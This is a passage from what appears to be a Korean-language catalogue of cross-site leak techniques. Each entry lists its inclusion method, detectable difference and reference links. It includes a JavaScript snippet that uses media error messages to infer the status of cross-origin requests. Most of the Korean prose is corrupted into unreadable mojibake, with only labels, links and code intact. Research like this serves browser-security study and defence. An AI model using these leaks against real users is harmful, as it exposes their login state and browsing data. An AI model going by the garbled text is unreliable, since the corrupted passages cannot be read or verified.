GC์์ ๋ฆฌ๋๋ ์ ์ด ๋ฐ์ํ๋ ์์ฒญ์ ์ง์ ์๊ฐ์ ์์์ด๋ฉฐ, ๋ฐ๋ผ์ ๋ฆฌ๋๋ ์ ์ด ๋ฐ์ํ์ง ์๋ ์์ฒญ๊ณผ ๊ตฌ๋ณ๋ ์ ์์ต๋๋ค.
CORP Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: CORP๋ก ๋ณดํธ๋ ๋ฆฌ์์ค๋ ๋ฆฌ์์ค ํ์ด๋ฐ ํญ๋ชฉ์ ์์ฑํ์ง ์์ต๋๋ค.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
์ผ๋ถ ๊ฒฝ์ฐ, nextHopProtocol ํญ๋ชฉ์ ์ ์ถ ๊ธฐ์ ๋ก ์ฌ์ฉํ ์ ์์ต๋๋ค. GC์์ CORP ํค๋๊ฐ ์ค์ ๋๋ฉด nextHopProtocol์ ๋น์ด ์์ต๋๋ค. SA๋ CORP๊ฐ ํ์ฑํ๋ ๋ฆฌ์์ค์ ๋ํด ์ฑ๋ฅ ํญ๋ชฉ์ ์ ํ ์์ฑํ์ง ์์ต๋๋ค.
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Summary: ํน์ ์ถ์ฒ์ ๋ํด ์๋น์ค ์์ปค๊ฐ ๋ฑ๋ก๋์ด ์๋์ง ๊ฐ์งํฉ๋๋ค.
- Code Example:
์๋น์ค ์์ปค๋ ์ถ์ฒ์์ ์คํ๋๋ ์ด๋ฒคํธ ๊ธฐ๋ฐ ์คํฌ๋ฆฝํธ ์ปจํ
์คํธ์
๋๋ค. ์ด๋ค์ ์น ํ์ด์ง์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์คํ๋๋ฉฐ, ๋ฆฌ์์ค๋ฅผ ๊ฐ๋ก์ฑ๊ณ ์์ ํ๋ฉฐ ์คํ๋ผ์ธ ์น ์ ํ๋ฆฌ์ผ์ด์
์ ๋ง๋ค๊ธฐ ์ํด ๋ฆฌ์์ค๋ฅผ ์บ์ํ ์ ์์ต๋๋ค.
์๋น์ค ์์ปค์ ์ํด ์บ์๋ ๋ฆฌ์์ค๊ฐ iframe์ ํตํด ์ ๊ทผ๋ ๊ฒฝ์ฐ, ํด๋น ๋ฆฌ์์ค๋ ์๋น์ค ์์ปค ์บ์์์ ๋ก๋๋ฉ๋๋ค.
๋ฆฌ์์ค๊ฐ ์๋น์ค ์์ปค ์บ์์์ ๋ก๋๋์๋์ง ๊ฐ์งํ๊ธฐ ์ํด Performance API๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค.
์ด๊ฒ์ ํ์ด๋ฐ ๊ณต๊ฒฉ์ผ๋ก๋ ์ํํ ์ ์์ต๋๋ค(์์ธํ ๋ด์ฉ์ ๋
ผ๋ฌธ์ ์ฐธ์กฐํ์ธ์).
Cache
- Inclusion Methods: Fetch API
- Detectable Difference: Timing
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Summary: ๋ฆฌ์์ค๊ฐ ์บ์์ ์ ์ฅ๋์๋์ง ํ์ธํ ์ ์์ต๋๋ค.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Performance API๋ฅผ ์ฌ์ฉํ์ฌ ๋ฆฌ์์ค๊ฐ ์บ์๋์๋์ง ํ์ธํ ์ ์์ต๋๋ค.
Network Duration
- Inclusion Methods: Fetch API
- Detectable Difference: Page Content
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Summary:
performanceAPI์์ ์์ฒญ์ ๋คํธ์ํฌ ์ง์ ์๊ฐ์ ๊ฒ์ํ ์ ์์ต๋๋ค. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Summary: Firefox์์๋ ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ ์ํ ์ฝ๋๋ฅผ ์ ํํ๊ฒ ์ ์ถํ ์ ์์ต๋๋ค.
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
MediaError ์ธํฐํ์ด์ค์ message ์์ฑ์ ์ฑ๊ณต์ ์ผ๋ก ๋ก๋๋ ๋ฆฌ์์ค๋ฅผ ๊ณ ์ ํ๊ฒ ์๋ณํ๋ ๋
ํนํ ๋ฌธ์์ด์ ์ ๊ณตํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด ๊ธฐ๋ฅ์ ์ด์ฉํด ๋ฉ์์ง ๋ด์ฉ์ ๊ด์ฐฐํจ์ผ๋ก์จ ๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค์ ์๋ต ์ํ๋ฅผ ์ถ๋ก ํ ์ ์์ต๋๋ค.
CORS ์ค๋ฅ
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํค๋
- ์์ธํ ์ ๋ณด: https://xsinator.com/paper.pdf (5.3)
- ์์ฝ: ๋ณด์ ์ฃผ์ฅ(SA)์์ CORS ์ค๋ฅ ๋ฉ์์ง๋ ๋ฆฌ๋๋ ์ ๋ ์์ฒญ์ ์ ์ฒด URL์ ์ฐ์ฐํ ๋ ธ์ถํฉ๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#CORS%20Error%20Leak
์ด ๊ธฐ์ ์ ๊ณต๊ฒฉ์๊ฐ ๊ต์ฐจ ์ถ์ฒ ์ฌ์ดํธ์ ๋ฆฌ๋๋ ์ ๋ชฉ์ ์ง๋ฅผ ์ถ์ถํ ์ ์๊ฒ ํด์ค๋๋ค. ์ด๋ Webkit ๊ธฐ๋ฐ ๋ธ๋ผ์ฐ์ ๊ฐ CORS ์์ฒญ์ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ์ด์ฉํ ๊ฒ์ ๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก, CORS ์ง์ ์์ฒญ์ด ์ฌ์ฉ์ ์ํ์ ๋ฐ๋ผ ๋ฆฌ๋๋ ์ ์ ๋ฐํํ๋ ๋์ ์ฌ์ดํธ์ ์ ์ก๋๊ณ ๋ธ๋ผ์ฐ์ ๊ฐ ์์ฒญ์ ๊ฑฐ๋ถํ๋ฉด, ๋ฆฌ๋๋ ์ ์ ๋์ URL ์ ์ฒด๊ฐ ์ค๋ฅ ๋ฉ์์ง ๋ด์ ๋ ธ์ถ๋ฉ๋๋ค. ์ด ์ทจ์ฝ์ ์ ๋ฆฌ๋๋ ์ ์ ์ฌ์ค์ ๋๋ฌ๋ผ ๋ฟ๋ง ์๋๋ผ ๋ฆฌ๋๋ ์ ์ ์๋ํฌ์ธํธ์ ํฌํจ๋ ์ ์๋ ๋ฏผ๊ฐํ ์ฟผ๋ฆฌ ๋งค๊ฐ๋ณ์๋ฅผ ๋ ธ์ถํฉ๋๋ค.
SRI ์ค๋ฅ
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํค๋
- ์์ธํ ์ ๋ณด: https://xsinator.com/paper.pdf (5.3)
- ์์ฝ: ๋ณด์ ์ฃผ์ฅ(SA)์์ CORS ์ค๋ฅ ๋ฉ์์ง๋ ๋ฆฌ๋๋ ์ ๋ ์์ฒญ์ ์ ์ฒด URL์ ์ฐ์ฐํ ๋ ธ์ถํฉ๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#SRI%20Error%20Leak
๊ณต๊ฒฉ์๋ ์์ธ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ์ด์ฉํด ๊ต์ฐจ ์ถ์ฒ ์๋ต์ ํฌ๊ธฐ๋ฅผ ์ถ๋ก ํ ์ ์์ต๋๋ค. ์ด๋ Subresource Integrity(SRI) ๋ฉ์ปค๋์ฆ ๋๋ถ์ ๊ฐ๋ฅํ๋ฉฐ, SRI๋ ๊ฐ์ ธ์จ ๋ฆฌ์์ค๊ฐ ๋ณ์กฐ๋์ง ์์๋์ง ํ์ธํ๊ธฐ ์ํด ๋ฌด๊ฒฐ์ฑ ์์ฑ์ ์ฌ์ฉํฉ๋๋ค. ๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค์์ SRI๊ฐ ์๋ํ๋ ค๋ฉด CORS ์ง์์ด ํ์ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด ๋ฌด๊ฒฐ์ฑ ๊ฒ์ฌ๋ฅผ ๋ฐ์ง ์์ต๋๋ค. ๋ณด์ ์ฃผ์ฅ(SA)์์ CORS ์ค๋ฅ XS-Leak์ ์ ์ฌํ๊ฒ, ๋ฌด๊ฒฐ์ฑ ์์ฑ์ด ์๋ fetch ์์ฒญ์ด ์คํจํ ํ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ์บก์ฒํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ์๋ชป๋ ํด์ ๊ฐ์ ๋ฌด๊ฒฐ์ฑ ์์ฑ์ ํ ๋นํ์ฌ ์ด ์ค๋ฅ๋ฅผ ์๋์ ์ผ๋ก ์ ๋ฐํ ์ ์์ต๋๋ค. SA์์ ๊ฒฐ๊ณผ ์ค๋ฅ ๋ฉ์์ง๋ ์์ฒญ๋ ๋ฆฌ์์ค์ ์ฝํ ์ธ ๊ธธ์ด๋ฅผ ์ฐ์ฐํ ๋๋ฌ๋ ๋๋ค. ์ด ์ ๋ณด ์ ์ถ์ ๊ณต๊ฒฉ์๊ฐ ์๋ต ํฌ๊ธฐ์ ๋ณํ๋ฅผ ์๋ณํ ์ ์๊ฒ ํ์ฌ ์ ๊ตํ XS-Leak ๊ณต๊ฒฉ์ ๊ธธ์ ์ด์ด์ค๋๋ค.
CSP ์๋ฐ/๊ฐ์ง
- ํฌํจ ๋ฐฉ๋ฒ: ํ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ์ํ ์ฝ๋
- ์์ธํ ์ ๋ณด: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- ์์ฝ: CSP์์ ํผํด์์ ์น์ฌ์ดํธ๋ง ํ์ฉํ ๊ฒฝ์ฐ, ๋ค๋ฅธ ๋๋ฉ์ธ์ผ๋ก ๋ฆฌ๋๋ ์ ์ ์๋ํ๋ฉด CSP๊ฐ ๊ฐ์ง ๊ฐ๋ฅํ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
XS-Leak๋ CSP๋ฅผ ์ฌ์ฉํ์ฌ ๊ต์ฐจ ์ถ์ฒ ์ฌ์ดํธ๊ฐ ๋ค๋ฅธ ์ถ์ฒ๋ก ๋ฆฌ๋๋ ์
๋์๋์ง ๊ฐ์งํ ์ ์์ต๋๋ค. ์ด ์ ์ถ์ ๋ฆฌ๋๋ ์
์ ๊ฐ์งํ ์ ์์ง๋ง, ๋ฆฌ๋๋ ์
๋์์ ๋๋ฉ์ธ๋ ์ ์ถ๋ฉ๋๋ค. ์ด ๊ณต๊ฒฉ์ ๊ธฐ๋ณธ ์์ด๋์ด๋ ๊ณต๊ฒฉ์ ์ฌ์ดํธ์์ ๋์ ๋๋ฉ์ธ์ ํ์ฉํ๋ ๊ฒ์
๋๋ค. ๋์ ๋๋ฉ์ธ์ ์์ฒญ์ด ๋ฐํ๋๋ฉด ๊ต์ฐจ ์ถ์ฒ ๋๋ฉ์ธ์ผ๋ก ๋ฆฌ๋๋ ์
๋ฉ๋๋ค. CSP๋ ์ด์ ๋ํ ์ ๊ทผ์ ์ฐจ๋จํ๊ณ ์ ์ถ ๊ธฐ๋ฒ์ผ๋ก ์ฌ์ฉ๋๋ ์๋ฐ ๋ณด๊ณ ์๋ฅผ ์์ฑํฉ๋๋ค. ๋ธ๋ผ์ฐ์ ์ ๋ฐ๋ผ ์ด ๋ณด๊ณ ์๋ ๋ฆฌ๋๋ ์
์ ๋์ ์์น๋ฅผ ์ ์ถํ ์ ์์ต๋๋ค.
ํ๋ ๋ธ๋ผ์ฐ์ ๋ ๋ฆฌ๋๋ ์
๋ URL์ ํ์ํ์ง ์์ง๋ง, ์ฌ์ ํ ๊ต์ฐจ ์ถ์ฒ ๋ฆฌ๋๋ ์
์ด ๋ฐ์ํ์์ ๊ฐ์งํ ์ ์์ต๋๋ค.
์บ์
- ํฌํจ ๋ฐฉ๋ฒ: ํ๋ ์, ํ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํ์ด์ง ์ฝํ ์ธ
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
- ์์ฝ: ํ์ผ์ ์บ์์์ ์ง์๋๋ค. ๋์ ํ์ด์ง๋ฅผ ์ด๊ณ ํ์ผ์ด ์บ์์ ์๋์ง ํ์ธํฉ๋๋ค.
- ์ฝ๋ ์์ :
๋ธ๋ผ์ฐ์ ๋ ๋ชจ๋ ์น์ฌ์ดํธ์ ๋ํด ํ๋์ ๊ณต์ ์บ์๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์ถ์ฒ์ ๊ด๊ณ์์ด ํน์ ํ์ผ์ด ์์ฒญ๋์๋์ง ์ถ๋ก ํ ์ ์์ต๋๋ค.
ํ์ด์ง๊ฐ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ์ ๋๋ง ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ๋ ๊ฒฝ์ฐ, ๋ฆฌ์์ค๋ฅผ ๋ฌดํจํํ์ฌ ๋ ์ด์ ์บ์๋์ง ์๋๋ก ํ๊ณ (์์ธํ ์ ๋ณด ๋งํฌ ์ฐธ์กฐ), ํด๋น ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ ์ ์๋ ์์ฒญ์ ์ํํ๊ณ ์๋ชป๋ ์์ฒญ์ผ๋ก ๋ฆฌ์์ค๋ฅผ ๋ก๋ํ๋ ค๊ณ ์๋ํฉ๋๋ค(์: ๋๋ฌด ๊ธด referer ํค๋๋ฅผ ์ฌ์ฉ). ๋ฆฌ์์ค ๋ก๋๊ฐ ์ด๋ค ์ค๋ฅ๋ ๋ฐ์์ํค์ง ์์๋ค๋ฉด, ์ด๋ ์บ์๋์๊ธฐ ๋๋ฌธ์ ๋๋ค.
CSP ์ง์๋ฌธ
- ํฌํจ ๋ฐฉ๋ฒ: ํ๋ ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํค๋
- ์์ธํ ์ ๋ณด: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
- ์์ฝ: CSP ํค๋ ์ง์๋ฌธ์ CSP iframe ์์ฑ์ ์ฌ์ฉํ์ฌ ์กฐ์ฌํ ์ ์์ผ๋ฉฐ, ์ ์ฑ ์ธ๋ถ์ ๋ณด๋ฅผ ๋๋ฌ๋ ๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#CSP%20Directive%20Leak
Google Chrome(GC)์ ์๋ก์ด ๊ธฐ๋ฅ์ ์น ํ์ด์ง๊ฐ iframe ์์์ ์์ฑ์ ์ค์ ํ์ฌ **์ฝํ ์ธ ๋ณด์ ์ ์ฑ (CSP)**๋ฅผ ์ ์ํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, ์ ์ฑ ์ง์๋ฌธ์ HTTP ์์ฒญ๊ณผ ํจ๊ป ์ ์ก๋ฉ๋๋ค. ์ผ๋ฐ์ ์ผ๋ก, ํฌํจ๋ ์ฝํ ์ธ ๋ HTTP ํค๋๋ฅผ ํตํด ์ด๋ฅผ ์น์ธํด์ผ ํ๋ฉฐ, ๊ทธ๋ ์ง ์์ผ๋ฉด ์ค๋ฅ ํ์ด์ง๊ฐ ํ์๋ฉ๋๋ค. ๊ทธ๋ฌ๋ iframe์ด ์ด๋ฏธ CSP์ ์ํด ๊ด๋ฆฌ๋๊ณ ์๋ก ์ ์๋ ์ ์ฑ ์ด ๋ ์ ํ์ ์ด์ง ์์ผ๋ฉด ํ์ด์ง๋ ์ ์์ ์ผ๋ก ๋ก๋๋ฉ๋๋ค. ์ด ๋ฉ์ปค๋์ฆ์ ๊ณต๊ฒฉ์๊ฐ ๊ต์ฐจ ์ถ์ฒ ํ์ด์ง์ ํน์ CSP ์ง์๋ฌธ์ ๊ฐ์งํ ์ ์๋ ๊ฒฝ๋ก๋ฅผ ์ด์ด์ค๋๋ค. ์ด ์ทจ์ฝ์ ์ ์์ ๋ ๊ฒ์ผ๋ก ํ์๋์์ง๋ง, ์ฐ๋ฆฌ์ ๋ฐ๊ฒฌ์ ์ค๋ฅ ํ์ด์ง๋ฅผ ๊ฐ์งํ ์ ์๋ ์๋ก์ด ์ ์ถ ๊ธฐ๋ฒ์ ๋๋ฌ๋ด๋ฉฐ, ๊ทผ๋ณธ์ ์ธ ๋ฌธ์ ๊ฐ ์์ ํ ํด๊ฒฐ๋์ง ์์์์ ์์ฌํฉ๋๋ค.
CORP
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํค๋
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/browser-features/corp/
- ์์ฝ: ๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค ์ ์ฑ (CORP)์ผ๋ก ๋ณดํธ๋ ๋ฆฌ์์ค๋ ํ์ฉ๋์ง ์๋ ์ถ์ฒ์์ ๊ฐ์ ธ์ฌ ๋ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#CORP%20Leak
CORP ํค๋๋ ๋น๊ต์ ์๋ก์ด ์น ํ๋ซํผ ๋ณด์ ๊ธฐ๋ฅ์ผ๋ก, ์ค์ ๋๋ฉด ์ฃผ์ด์ง ๋ฆฌ์์ค์ ๋ํ no-cors ๊ต์ฐจ ์ถ์ฒ ์์ฒญ์ ์ฐจ๋จํฉ๋๋ค. ํค๋์ ์กด์ฌ๋ ๊ฐ์งํ ์ ์์ผ๋ฉฐ, CORP๋ก ๋ณดํธ๋ ๋ฆฌ์์ค๋ ๊ฐ์ ธ์ฌ ๋ ์ค๋ฅ๋ฅผ ๋ฐ์์ํต๋๋ค.
CORB
- ํฌํจ ๋ฐฉ๋ฒ: HTML ์์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํค๋
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
- ์์ฝ: CORB๋ ๊ณต๊ฒฉ์๊ฐ ์์ฒญ์
nosniffํค๋๊ฐ ์กด์ฌํ๋์ง ๊ฐ์งํ ์ ์๊ฒ ํด์ค๋๋ค. - ์ฝ๋ ์์ : https://xsinator.com/testing.html#CORB%20Leak
๊ณต๊ฒฉ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋งํฌ๋ฅผ ํ์ธํ์ธ์.
์ถ์ฒ ๋ฐ์ฌ ์๋ชป ๊ตฌ์ฑ์ผ๋ก ์ธํ CORS ์ค๋ฅ
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํค๋
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
- ์์ฝ: Origin ํค๋๊ฐ
Access-Control-Allow-Originํค๋์ ๋ฐ์๋๋ฉด ๋ฆฌ์์ค๊ฐ ์ด๋ฏธ ์บ์์ ์๋์ง ํ์ธํ ์ ์์ต๋๋ค. - ์ฝ๋ ์์ : https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Origin ํค๋๊ฐ Access-Control-Allow-Origin ํค๋์ ๋ฐ์๋๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ์ด ๋์์ ์
์ฉํ์ฌ CORS ๋ชจ๋์์ ๋ฆฌ์์ค๋ฅผ ๊ฐ์ ธ์ค๋ ค๊ณ ์๋ํ ์ ์์ต๋๋ค. ์ค๋ฅ๊ฐ ๋ฐ์ํ์ง ์์ผ๋ฉด, ์ด๋ ์น์์ ์ฌ๋ฐ๋ฅด๊ฒ ๊ฒ์๋์์์ ์๋ฏธํ๋ฉฐ, ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ฉด, ์ด๋ ์บ์์์ ์ ๊ทผ๋์๊ธฐ ๋๋ฌธ์
๋๋ค(์ค๋ฅ๋ ์บ์๊ฐ ์๋ ๋๋ฉ์ธ์ ํ์ฉํ๋ CORS ํค๋๊ฐ ์๋ ์๋ต์ ์ ์ฅํ๊ธฐ ๋๋ฌธ์ ๋ฐ์ํฉ๋๋ค).
Origin์ด ๋ฐ์๋์ง ์๊ณ ์์ผ๋์นด๋(Access-Control-Allow-Origin: *)๊ฐ ์ฌ์ฉ๋๋ฉด ์ด ๋ฐฉ๋ฒ์ ์๋ํ์ง ์์ต๋๋ค.
์ฝ์ ์ ์๋ ์์ฑ ๊ธฐ์
Fetch ๋ฆฌ๋๋ ์
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ์ํ ์ฝ๋
- ์์ธํ ์ ๋ณด: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
- ์์ฝ: GC์ SA๋ ๋ฆฌ๋๋ ์ ์ด ์๋ฃ๋ ํ ์๋ต์ ์ ํ(opaque-redirect)์ ํ์ธํ ์ ์์ต๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#Fetch%20Redirect%20Leak
redirect: "manual" ๋ฐ ๊ธฐํ ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ Fetch API๋ฅผ ํตํด ์์ฒญ์ ์ ์ถํ๋ฉด, response.type ์์ฑ์ ์ฝ์ ์ ์์ผ๋ฉฐ, ์ด ๊ฐ์ด opaqueredirect์ ๊ฐ๋ค๋ฉด ์๋ต์ด ๋ฆฌ๋๋ ์
์ด์์ต๋๋ค.
COOP
- ํฌํจ ๋ฐฉ๋ฒ: ํ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ํค๋
- ์์ธํ ์ ๋ณด: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
- ์์ฝ: ๊ต์ฐจ ์ถ์ฒ ์คํ๋ ์ ์ฑ (COOP)์ผ๋ก ๋ณดํธ๋ ํ์ด์ง๋ ๊ต์ฐจ ์ถ์ฒ ์ํธ์์ฉ์ผ๋ก๋ถํฐ์ ์ ๊ทผ์ ์ฐจ๋จํฉ๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#COOP%20Leak
๊ณต๊ฒฉ์๋ ๊ต์ฐจ ์ถ์ฒ HTTP ์๋ต์์ ๊ต์ฐจ ์ถ์ฒ ์คํ๋ ์ ์ฑ
(COOP) ํค๋์ ์กด์ฌ๋ฅผ ์ถ๋ก ํ ์ ์์ต๋๋ค. COOP๋ ์น ์ ํ๋ฆฌ์ผ์ด์
์ด ์ธ๋ถ ์ฌ์ดํธ๊ฐ ์์์ ์ฐฝ ์ฐธ์กฐ๋ฅผ ์ป์ง ๋ชปํ๋๋ก ๋ฐฉ์งํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด ํค๋์ ๊ฐ์์ฑ์ contentWindow ์ฐธ์กฐ์ ์ ๊ทผํ๋ ค๊ณ ์๋ํจ์ผ๋ก์จ ๊ฐ์งํ ์ ์์ต๋๋ค. COOP๊ฐ ์กฐ๊ฑด๋ถ๋ก ์ ์ฉ๋๋ ๊ฒฝ์ฐ, opener ์์ฑ์ ๊ฒฐ์ ์ ์ธ ์งํ๊ฐ ๋ฉ๋๋ค: COOP๊ฐ ํ์ฑํ๋๋ฉด ์ ์๋์ง ์์ผ๋ฉฐ, ๋นํ์ฑํ๋๋ฉด ์ ์๋ฉ๋๋ค.
URL ์ต๋ ๊ธธ์ด - ์๋ฒ ์ธก
- ํฌํจ ๋ฐฉ๋ฒ: Fetch API, HTML ์์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ์ํ ์ฝ๋ / ์ฝํ ์ธ
- ์์ธํ ์ ๋ณด: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
- ์์ฝ: ๋ฆฌ๋๋ ์ ์๋ต ๊ธธ์ด๋ก ์ธํด ์๋ต์ ์ฐจ์ด๋ฅผ ๊ฐ์งํ ์ ์์ต๋๋ค. ๋๋ฌด ๊ธธ๋ฉด ์๋ฒ๊ฐ ์ค๋ฅ๋ก ์ฌ์์ฑํ๊ณ ๊ฒฝ๊ณ ๊ฐ ์์ฑ๋ฉ๋๋ค.
- ์ฝ๋ ์์ : https://xsinator.com/testing.html#URL%20Max%20Length%20Leak
์๋ฒ ์ธก ๋ฆฌ๋๋ ์ ์ด ๋ฆฌ๋๋ ์ ๋ด์์ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ฌ์ฉํ๊ณ ์ถ๊ฐ ๋ฐ์ดํฐ๋ฅผ ํฌํจํ๋ ๊ฒฝ์ฐ, ์ด ๋์์ ๊ฐ์งํ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ์๋ฒ๋ ์์ฒญ ๊ธธ์ด ์ ํ์ด ์์ต๋๋ค. ์ฌ์ฉ์ ๋ฐ์ดํฐ๊ฐ ๊ธธ์ด - 1์ธ ๊ฒฝ์ฐ, ๋ฆฌ๋๋ ์ ์ด ํด๋น ๋ฐ์ดํฐ๋ฅผ ์ฌ์ฉํ๊ณ ์ถ๊ฐํ๋ ๊ฒฝ์ฐ, ์ค๋ฅ๊ฐ ๋ฐ์ํ์ฌ ์ค๋ฅ ์ด๋ฒคํธ๋ฅผ ํตํด ๊ฐ์งํ ์ ์์ต๋๋ค.
์ฌ์ฉ์์๊ฒ ์ฟ ํค๋ฅผ ์ค์ ํ ์ ์๋ ๊ฒฝ์ฐ, ์ถฉ๋ถํ ์ฟ ํค๋ฅผ ์ค์ ํ์ฌ ์ด ๊ณต๊ฒฉ์ ์ํํ ์๋ ์์ต๋๋ค(์ฟ ํค ํญํ). ์ ์ ์๋ต์ ํฌ๊ธฐ๊ฐ ์ฆ๊ฐํ๋ฉด ์ค๋ฅ๊ฐ ๋ฐ์ํฉ๋๋ค. ์ด ๊ฒฝ์ฐ, ๋์ผํ ์ฌ์ดํธ์์ ์ด ์์ฒญ์ ํธ๋ฆฌ๊ฑฐํ๋ฉด <script>๊ฐ ์๋์ผ๋ก ์ฟ ํค๋ฅผ ์ ์กํ๋ฏ๋ก(์ค๋ฅ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค).
์ฟ ํค ํญํ + XS-Search์ ์๋ ์ด ๋ฌธ์์ ์๋๋ ์๋ฃจ์
์์ ์ฐพ์ ์ ์์ต๋๋ค: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended
SameSite=None ๋๋ ๋์ผํ ์ปจํ
์คํธ์ ์์ด์ผ ์ด ์ ํ์ ๊ณต๊ฒฉ์ ํ์ํฉ๋๋ค.
URL ์ต๋ ๊ธธ์ด - ํด๋ผ์ด์ธํธ ์ธก
- ํฌํจ ๋ฐฉ๋ฒ: ํ์
- ๊ฐ์ง ๊ฐ๋ฅํ ์ฐจ์ด: ์ํ ์ฝ๋ / ์ฝํ ์ธ
- ์์ธํ ์ ๋ณด: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
